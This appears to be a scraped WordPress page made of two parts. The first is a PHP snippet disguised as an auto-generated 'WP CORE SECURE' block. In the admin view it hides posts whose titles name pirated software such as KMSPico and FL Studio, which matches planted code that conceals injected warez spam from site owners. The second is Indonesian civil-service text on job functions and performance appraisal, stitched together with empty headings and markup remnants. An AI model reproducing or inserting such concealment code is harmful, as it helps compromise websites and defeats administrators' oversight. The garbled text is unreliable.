# BEGIN WP CORE SECURE
# Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE"
# dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress.
# Setiap perubahan pada arahan di antara penanda berikut akan ditimpa.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE
Tugas Jabatan Fungsional Analis SDM Aparatur yaitu
melakukan pengelolaan sistem SDM Aparatur melalui kegiatan perumusan, analisis, evaluasi, pengembangan, asistensi, konsultasi dan penyusunan saran kebijakan dalam konteks kebutuhan serta kepentingan terbaik organisasi sesuai dengan peraturan perundang-undangan dan praktik SDM profesional mutakhir.
Uraian kegiatan tugas Jabatan Fungsional Analis SDM Aparatur sesuai dengan jenjang jabatannya, sebagai berikut:
Analis SDM Aparatur Ahli Pertama, meliputi:
Analis SDM Aparatur Ahli Muda, meliputi:
c. Analis SDM Aparatur Ahli Madya:
d. Analis SDM Aparatur Ahli Utama, meliputi:
Rincian kegiatan Pranata Humas Tingkat Terampil, dengan jenjang jabatan Pranata Humas Pelaksana, meliputi:
Rincian kegiatan Pranata Humas Tingkat Terampil, dengan jenjang jabatan Pranata Humas Pelaksana Lanjutan, meliputi:
Rincian kegiatan Pranata Humas Tingkat Terampil, dengan jenjang jabatan Pranata Humas Penyelia, meliputi:
Rincian kegiatan Pranata Humas Tingkat Ahli dengan jenjang jabatan, Pranata Humas Pertama, meliputi:
Rincian kegiatan Pranata Humas Tingkat Ahli dengan jenjang jabatan Pranata Humas Muda, meliputi:
Rincian kegiatan Pranata Humas Tingkat Ahli dengan jenjang jabatan Pranata Humas Madya, meliputi:
Pranata Hubungan Masyarakat (Pranata Humas) adalah Pegawai Negeri Sipil yang diberi tugas, tanggung jawab, wewenang, dan hak secara penuh oleh pejabat yang berwenang untuk melaksanakan kegiatan pelayanan informasi dan kehumasan.
Pelayanan Informasi dan Kehumasan adalah kegiatan atau upaya yang dilakukan oleh pranata humas, mulai dari perencanaan, pelayanan informasi, pelaksanaan hubungan internal dan eksternal, audit komunikasi
kehumasan, dan pengembangan pelayanan informasi dan kehumasan.
Pelaksanaan Hubungan Eksternal adalah kegiatan atau upaya yang dilakukan oleh Pranata Humas untuk meningkatkan hubungan yang harmonis antar lembaga yang ada dalam masyarakat.
Pelaksanaan Hubungan Internal adalah kegiatan atau upaya yang dilakukan Pranata Humas untuk meningkatkan hubungan yang harmonis antara satuan kerja/unit organisasi di lingkungan instansi pemerintah.
Jabatan Fungsional Pranata Humas termasuk dalam rumpun penerangan dan seni budaya.
Instansi Pembina Jabatan Fungsional Pranata Humas adalah Kementerian Komunikasi dan Informatika.
Jabatan Fungsional Pranata Humas, terdiri dari : a. Pranata Humas Tingkat Terampil dan b. Pranata Humas Tingkat Ahli.
Jenjang jabatan Pranata Humas Tingkat Terampil dari yang paling rendah sampai dengan yang paling tinggi, yaitu: a. Pranata Humas Pelaksana, b. Pranata Humas Pelaksana Lanjutan, c. Pranata Humas Penyelia.
Jenjang Jabatan Fungsional Pranata Humas Tingkat Ahli dari yang paling rendah sampai dengan yang paling tinggi, yaitu:
a. Pranata Humas Pertama;
b. Pranata Humas Muda;
c. Pranata Humas Madya.
Pangkat, golongan ruang Pranata Humas Tingkat Terampil sesuai
dengan jenjang jabatannya, yaitu:
a. Pranata Humas Pelaksana : Pengatur, golongan ruang II/c; Pengatur Tingkat I, golongan ruang II/d.
b. Pranata Humas Pelaksana Lanjutan: Penata Muda, golongan ruang III/a; Penata Muda Tingkat I, golongan ruang III/b.
c. Pranata Humas Penyelia: Penata, golongan ruang III/c; Penata Tingkat I, golongan ruang III/d.
Pangkat, golongan ruang Pranata Humas Tingkat Ahli sesuai dengan
jenjang jabatannya, yaitu:
a. Pranata Humas Pertama: Penata Muda, golongan III/a; Penata Muda Tingkat I, golongan ruang III/b.
b. Pranata Humas Muda: Penata, golongan III/c; Penata Tingkat I, golongan ruang III/d.
c. Pranata Humas Madya: 1. Pembina, golongan IV/a; 2. Pembina Tingkat I, golongan ruang IV/b; 3. Pembina Utama Muda, golongan ruang IV/c.
Pangkat, golongan ruang untuk masing-masing jenjang jabatan terseebut diatas ditentukan berdasarkan jumlah angka kredit yang ditetapkan.
]]>Penilaian prestasi kerja PNS dilaksanakan oleh Pejabat Penilai sekali dalam
1 (satu) tahun yang dilakukan setiap akhir Desember pada tahun yang
bersangkutan atau paling lama akhir Januari tahun berikutnya. Penilaian
prestasi kerja PNS terdiri atas unsur:
TATA CARA PENILAIAN SKP
Untuk menilai apakah output berkualitas atau tidak dengan menggunakan pedoman sebagai berikut:
c. Aspek waktu
Berikut ini rumus utuk menghitung nilai capaian SKP Aspek Waktu :
4. Untuk menghitung persentase tingkat efisiensi waktu
penghitungannya menggunakan rumus:
Penghitungan aspek waktu dilakukan dengan memperhatikan hal-hal
sebagai berikut:
6. Aspek biaya
PENILAIAN TUGAS TAMBAHAN
Selain melakukan kegiatan tugas pokok yang ada dalam SKP, seorang PNS
dapat melaksanakan tugas lain atau tugas tambahan yang diberikan oleh
atasan langsungnya dan dibuktikan dengan surat keterangan. Sesuai Peraturan Kepala Badan Kepegawaian Negara ini, aka pada akhir tahun yang bersangkutan dapat diberikan nilai tugas tambahan paling rendah 1 (satu) dan paling tinggi 3 (tiga) dengan menggunakan pedoman sebagai berikut:
PENILAIAN KREATIVITAS
Apabila seorang PNS pada tahun berjalan menemukan sesuatu yang baru dan berkaitan dengan tugas pokoknya serta dibuktikan dengan surat keterangan sebagai berikut:
PENILAIAN PERILAKU KERJA
PELAKSANAAN PENILAIAN PRESTASI KBRJA PNS